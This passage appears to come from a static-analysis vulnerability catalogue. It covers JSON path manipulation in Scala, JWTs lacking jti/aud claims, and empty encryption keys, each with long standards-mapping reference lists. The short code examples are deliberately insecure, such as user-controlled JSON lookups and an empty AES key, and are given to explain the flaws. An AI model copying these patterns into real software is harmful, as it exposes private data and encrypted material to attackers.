[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
desc.dataflow.php.json_path_manipulation
Abstract
The application performs a JSON query with untrusted data that might enable attackers to query unexpected parts of the JSON document.
Explanation
There are a number of technologies that provide the capacity to maneuver through JSON documents using a tree-like access syntax. Using this type of document traversal, an adversary can query parts of a JSON document to which they should not have access.

Example 1: The following code uses a user-defined keyword to access a JSON document which contains public user details, such as name and address, but the JSON document also contains private details such as their password.


  def searchUserDetails(key:String) = Action.async { implicit request =>
    val user_json = getUserDataFor(user)
    val value = (user_json \ key).get.as[String]
    ...
  }


Since key is user-controllable, a malicious user can leverage this to access the user's passwords, and any other private data that may be contained within the JSON document.
References
[1] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[2] Standards Mapping - FIPS200 SI
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[9] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[10] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2010 A1 Injection
[15] Standards Mapping - OWASP Top 10 2013 A1 Injection
[16] Standards Mapping - OWASP Top 10 2017 A1 Injection
[17] Standards Mapping - OWASP Top 10 2021 A03 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
desc.dataflow.scala.json_path_manipulation

JSON Web Token: Missing Protection Claims

Abstract
JSON Web Tokens that do not implement protection claims such as jti and aud might be susceptible to impersonation and replay attacks.
Explanation
JWT is a standard used to create a URL-safe means of transferring data between two parties. JWT provides protection against data tampering because the information it contains is digitally signed with either the HMAC or the RSA algorithm. The server typically generates JWT after successful authentication by the client. This JWT accompanies future client requests to the server for stateless authentication. These tokens are often targeted by malicious users for impersonation attacks. The JWT specification includes various protection mechanisms to prevent the tokens against such attacks. The jti claim provides a unique identifier for the JWT. It can be used to prevent the JWT from being replayed. The application "signs out" the user from all devices by deleting all JWTs in the backend store associated with that user. In addition, the developer should use exp (expiration time) to expire the JWT.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 384
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000804, CCI-001664
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-10 Non-Repudiation (P2), SC-23 Session Authenticity (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-10 Non-Repudiation, SC-23 Session Authenticity
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.2.1 Session Binding Requirements (L1 L2 L3), 3.2.3 Session Binding Requirements (L1 L2 L3), 3.3.1 Session Logout and Timeout Requirements (L1 L2 L3)
[8] Standards Mapping - OWASP Mobile 2014 M9 Improper Session Handling
[9] Standards Mapping - OWASP Mobile 2024 M3 Insecure Authentication/Authorization
[10] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[11] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[12] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[13] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[14] Standards Mapping - OWASP Top 10 2017 A2 Broken Authentication
[15] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002250 CAT II, APSC-DV-002260 CAT II, APSC-DV-002270 CAT II, APSC-DV-002280 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002250 CAT II, APSC-DV-002260 CAT II, APSC-DV-002270 CAT II, APSC-DV-002280 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002280 CAT II, APSC-DV-002260 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002280 CAT II, APSC-DV-002260 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002280 CAT II, APSC-DV-002260 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002280 CAT II, APSC-DV-002260 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002280 CAT II, APSC-DV-002260 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002280 CAT II, APSC-DV-002260 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002280 CAT II, APSC-DV-002260 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002280 CAT II, APSC-DV-002260 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002250 CAT II, APSC-DV-002260 CAT II, APSC-DV-002270 CAT II, APSC-DV-002280 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002280 CAT II, APSC-DV-002260 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002280 CAT II, APSC-DV-002260 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002260 CAT II, APSC-DV-002280 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000590 CAT II, APSC-DV-002260 CAT II, APSC-DV-002280 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-000590 CAT II, APSC-DV-002260 CAT II, APSC-DV-002280 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Session Fixation (WASC-37)
[52] Standards Mapping - Web Application Security Consortium 24 + 2 Session Fixation
desc.dynamic.xtended_preview.json_web_token_missing_protection_claims

Key Management: Empty Encryption Key

Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following uses an empty encryption key:


...
encryptionKey = "".
...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.abap.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:


    ...
    var encryptionKey:String = "";
    var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
    ...
    var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
    ...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
